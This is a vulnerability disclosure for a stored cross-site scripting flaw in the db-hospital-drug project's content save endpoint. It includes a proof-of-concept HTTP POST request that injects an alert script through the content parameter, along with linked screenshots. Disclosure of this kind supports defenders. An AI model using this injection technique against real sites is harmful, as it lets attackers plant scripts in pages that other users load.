# db-hospital-drug has Cross Site Scripting vulnerability in ContentController.java

## supplier 
https://github.com/JamesZBL/db-hospital-drug

## Vulnerability file
ContentController.java

## describe
There is a cross-site scripting attack in the save interface of ContentController.java. The controlled parameters are as follows: content parameter. This parameter does not filter the dangerous function of xss.

**Code analysis**   
Here is the save interface, because in the XssFilter class, the rich text content filtering is turned off, which leads to the triggering of xss

![img](https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/6-1.png)
![img](https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/6-2.png)


## POC
```
POST /blog/bContent/save HTTP/1.1
Host: 192.168.0.100:8086
Content-Length: 456
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.100:8086
Referer: http://192.168.0.100:8086/blog/bContent/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=c7da3861-19c1-44b7-9300-1e191415d684
Connection: close

cid=&title=999&author=999&content=%3C!DOCTYPE+html%3E%0D%0A%3Chtml+lang%3D%22en%22%3E%0D%0A%3Chead%3E%0D%0A++++%3Cmeta+charset%3D%22UTF-8%22%3E%0D%0A++++%3Cmeta+name%3D%22viewport%22+content%3D%22width%3Ddevice-width%2C+initial-scale%3D1.0%22%3E%0D%0A++++%3Ctitle%3EDocument%3C%2Ftitle%3E%0D%0A++++%3Cscript%3Ealert('618')%3C%2Fscript%3E%0D%0A%3C%2Fhead%3E%0D%0A%3Cbody%3E%0D%0A++++%0D%0A%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E&categories=&allowComment=1&status=1
```


![img](https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/6-3.png)
![img](https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/6-4.png)


**Result**

![img](https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/6-5.png)